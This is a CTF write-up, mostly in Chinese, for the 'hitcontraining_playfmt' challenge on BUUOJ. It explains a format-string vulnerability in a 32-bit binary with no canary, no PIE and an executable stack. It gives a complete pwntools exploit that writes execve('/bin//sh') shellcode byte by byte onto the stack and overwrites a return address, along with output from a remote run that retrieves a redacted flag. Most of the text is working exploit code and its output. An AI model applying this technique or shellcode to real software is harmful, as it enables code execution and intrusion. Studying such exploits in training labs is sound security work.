WriteUp: hitcontraining_playfmt Checksec1 2 3 4 5 6 7 8 ╰─$ checksec playfmt [*] 'hitcontraining_playfmt/playfmt' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
重要信息:
a. i386
因此直接gdb.debug
打开或者process
打开用gdb.attach
会有问题;需要特殊的处理,见后面exploit
代码的start
; b. Has RWX segments
: 有可写可执行段,gdb playfmt
后vmmap
可以看到是stack
c. No PIE
: 因此ELF中符号,在ELF静态文件中的偏移即为加载后的偏移。但堆栈会随机化 Reverse Engineering
Fig. 1. Vulnerability Point
漏洞点在上图中的标号(1)
处,为Format String Attack
.
Analyzeread
->printf
在while(True)
循环中,因此可以无限次构造payload
,理论上可以实现任意地址写
。
但buf
不在stack
上,因此在payload中,任意写的目的地址无法直接通过字符串中指定,需要找到一个如下的栈链。
1 2 3 4 5 stack a: -> stack b ... stack b: -> stack c ... stack c: -> 任意值
原理实质上很简单,通过Format String Attack
的任意地址写,将Shell Code
写入到RWX
权限的栈上,并再次使用Format String Attack
修改函数返回地址为Shell Code
在栈上的地址。触发函数返回后即可获得shell
。 但在实际exploit
时,有很多细节要注意:
a. 当 %Mc
之 M
过大时,要留出足够的时间让程序完成完整printf
行为。实际上应尽可能的让M
值不要过大,不然容易失败。在exploit code
中,我们采用了io.recvuntil(b'\n')
的方式,用b'\n'
字符作为输出结束的约定字符,这样即保证printf
行为完整,又避免了过久等待。 b. stack
链应避免使用ebp->prev-frame-esp->prevprev-frame-esp...
的ebp
栈链,否则在函数返回时,通过ebp
恢复esp
值时容易出错。当然无其他选择时,ebp
栈链也是可以操作的,需要注意操作后的恢复工作,保证ebp
链的合法性。 且ebp
栈链的好处是,它肯定是存在的,且距离不远,很容易找到。 c. 该exploit code
避免使用了one_gadget
,system
等需要libcSearcher
搜索判断远程libc.so
版本的操作 Exploit Code1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 from pwn import *from pwnlib.util import miscfrom LibcSearcher import *import oself = context.binary = ELF("playfmt" ) libc = elf.libc context.terminal = ["tmux" , "split" , "-h" ] gs = ''' continue ''' def start (): if args.GDB: p = process(elf.path) cmd = ["gdb" , "-p" , str (p.pid)] cmd = context.terminal + cmd cmd = ' ' .join(cmd) os.system(cmd) time.sleep(1 ) return p elif args.REMOTE: return remote('node4.buuoj.cn' , 28106 ) else : return process(elf.path) l = lambda x,y : log.info(f"{x} -> {y} " ) def readByFmtStr (fmtstr ): io.send(fmtstr) addr = int (io.recv(), 16 ) return addr io = start() io.timeout = 3000 io.recv() ebp = readByFmtStr(b"%6$p" ) l("ebp" , hex (ebp)) chain = readByFmtStr(b"%21$p" ) l("chain" , hex (chain)) shell = """ xor ecx,ecx mul ecx push eax mov al,0xb push 0x68732f2f push 0x6e69622f mov ebx,esp int 0x80 """ shell_bs = asm(shell, arch="i386" , os="linux" ) check = disasm(shell_bs) l("check" , check) l("shell_bs" , shell_bs) hexstr = '' for i in range (len (shell_bs)): hexstr += '\\x' + hex (shell_bs[i])[2 :] l("hexstr" , hexstr) shell_addr = chain & 0xffff00ff l("shell_addr" , hex (shell_addr)) def write_int8 (addr_low16, byte_value ): log.info(f"write_int8: {hex (addr_low16)} {hex (byte_value)} " ) addr_low16 = addr_low16 & 0xffff payload = f"%{addr_low16} c%21$hn" payload = payload.encode() payload += b"\n\x00" io.send(payload) ctn = "" ctn = io.recvuntil(b"\n" ) payload = f"%{byte_value} c%57$hhn" if byte_value == 0 : payload = f"%57$hhn" payload = payload.encode() payload += b"\n\x00" io.send(payload) ctn = "" ctn = io.recvuntil(b"\n" ) for i in range (0 , len (shell_bs)): aByte = shell_bs[i] addr_low16 = shell_addr + i write_int8(addr_low16, aByte) ret_addr = ebp - 0xc l("ret_addr" , hex (ret_addr)) shell_addr_bs = p32(shell_addr) l("shell_addr" , hex (shell_addr)) for i in range (0 , len (shell_addr_bs)): aByte = shell_addr_bs[i] addr_low16 = ret_addr + i write_int8(addr_low16, aByte) io.sendline(b"quit" ) io.sendline(b'cat flag' ) flag = io.recv() log.info(f"flag: {flag} " ) io.close() """ 16:0058│ 0xff88e644 —▸ 0xff88e6d4 —▸ 0xff8900ca ◂— '../playfmt' ... 3a:00e8│ 0xff88e6d4 —▸ 0xff8900ca ◂— '../playfmt' """
Output Example1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 ╰─$ python exp.py REMOTE [*] 'hitcontraining_playfmt/playfmt' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments [*] '/lib/i386-linux-gnu/libc-2.27.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to node4.buuoj.cn on port 28106: Done [*] ebp -> 0xffb2d448 [*] chain -> 0xffb2d504 [*] check -> 0: 31 c9 xor ecx, ecx 2: f7 e1 mul ecx 4: 50 push eax 5: b0 0b mov al, 0xb 7: 68 2f 2f 73 68 push 0x68732f2f c: 68 2f 62 69 6e push 0x6e69622f 11: 89 e3 mov ebx, esp 13: cd 80 int 0x80 [*] shell_bs -> b'1\xc9\xf7\xe1P\xb0\x0bh//shh/bin\x89\xe3\xcd\x80' [*] hexstr -> \x31\xc9\xf7\xe1\x50\xb0\xb\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80 [*] shell_addr -> 0xffb20004 [*] write_int8: 0xffb20004 0x31 [*] write_int8: 0xffb20005 0xc9 [*] write_int8: 0xffb20006 0xf7 [*] write_int8: 0xffb20007 0xe1 [*] write_int8: 0xffb20008 0x50 [*] write_int8: 0xffb20009 0xb0 [*] write_int8: 0xffb2000a 0xb [*] write_int8: 0xffb2000b 0x68 [*] write_int8: 0xffb2000c 0x2f [*] write_int8: 0xffb2000d 0x2f [*] write_int8: 0xffb2000e 0x73 [*] write_int8: 0xffb2000f 0x68 [*] write_int8: 0xffb20010 0x68 [*] write_int8: 0xffb20011 0x2f [*] write_int8: 0xffb20012 0x62 [*] write_int8: 0xffb20013 0x69 [*] write_int8: 0xffb20014 0x6e [*] write_int8: 0xffb20015 0x89 [*] write_int8: 0xffb20016 0xe3 [*] write_int8: 0xffb20017 0xcd [*] write_int8: 0xffb20018 0x80 [*] ret_addr -> 0xffb2d43c [*] shell_addr -> 0xffb20004 [*] write_int8: 0xffb2d43c 0x4 [*] write_int8: 0xffb2d43d 0x0 [*] write_int8: 0xffb2d43e 0xb2 [*] write_int8: 0xffb2d43f 0xff [*] flag: b'flag{▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇}\n' [*] Closed connection to node4.buuoj.cn port 28106
The Challengehttps://buuoj.cn/challenges#hitcontraining_playfmt